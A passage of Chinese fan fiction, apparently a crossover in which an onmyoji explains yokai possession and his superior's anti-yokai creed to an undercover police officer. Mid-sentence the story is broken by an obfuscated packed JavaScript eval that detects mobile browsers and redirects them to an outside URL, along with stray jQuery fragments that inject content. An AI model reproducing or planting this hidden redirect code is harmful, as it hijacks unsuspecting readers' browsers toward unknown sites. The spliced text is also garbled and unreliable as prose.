还很明亮。眼睑微微抽搐,眉毛也因为一些鲜活的情绪舒展开。 虽然声音听上去有些沉闷,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256604|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过表情看着问题不大。 如果此时此刻做出这种矛盾反应的是花开院龙二,魔魅流会稍微积极询问到底发生了什么,他是不是说了什么不合适的话。 不过现在露出复杂情绪的是诸伏景光,一位他不怎么熟悉的公安卧底。看过了就看过了,既然对方说“简单解释一下”,那魔魅流也不会什么贴心的、多此一举的事。 “我之前说过,”他公事公办地解释,“妖怪进入人类体内会掠夺生命力、灵力等。人类自主恢复生命力是一个很漫长的过程,灵力也是。” “即使是虚弱的妖怪,也会以比这个更快的速度抢夺生存之力。这是它们固有的被动行为。” “所以,”诸伏景光补上之后的话,“这种短期看上去很平衡的状态,长期来讲总会以妖怪抢占全部生命力却无法离开、人类被抢走全部生命力原地死亡告终。” “是的,”阴阳师点头,“不过也取决于每个人的身体素质。” “那前两位呢?”诸伏景光努力让自己的声音听上去客观冷静,仿佛只是秉着调查探究的情绪问出这句话:“他们是有什么特殊方法逃避这种被动战争吗。” “例如,两位都是阴阳师,所以灵力和生命力回复得比普通人快一些——抱歉,我只是擅自这样推断。” 魔魅流眨了眨眼,这个动作习惯性会带着眼睛睁大些许,让那双圆圆的金色眼睛看上去很乖。 “正确。”他说。 大猫语调轻松了一些。和对方共事过几个月的苏格兰知道,这代表阿玛尼亚克对于其他人猜中某些困难的谜题感到惊讶,又有些微赞赏。 这可是对方少有地露出积极情绪的时刻。诸伏景光原本以为这一反应是“唯一”,不过他现在认识到了,在说起那位龙二先生时,阿玛尼亚克的反应更灵动。 打住打住,自己到底是什么时候开始,只要思路转到第一位就会联系到第二位的。 “然后是第二个问题,”诸伏景光深呼吸平复了一下复杂的头脑,“所以你们进行管理,到底是基于......案例追踪,还是仅仅是要对妖怪的存在进行追踪。” 应该不会是第二种吧,诸伏景光想。阴阳师这种妖怪警察不应该是按照案件实际情况—— “第二种。” 妖怪警察说。 “......为什么。”人类警察问。 魔魅流调整了一下坐姿。他原本脊背就挺得很直,现在一调整,整个人有种微妙而诡异的忠诚感。 打个不恰当的比方,就好像......这位阴阳师是一位正在做祷告的信徒,而他的神明“龙二先生”正披着圣洁的道袍立在高台上。 等待答案的公安突然就有种不妙的预感。 “龙二教的,”魔魅流眼睛亮晶晶地说,“‘妖怪是黑,我们是白’,这是龙二的行动准则。” “他嘱咐我,‘如果苏格兰对那只猫妖大发善心,就不要解释先来硬的,喜欢妖怪的哪有好人’。” 诸伏景光语气复杂地指出:“这是龙二先生原话,对吧。” 他还以为对方是表里如一的严肃,怎么现在听着......有点不太一样呢。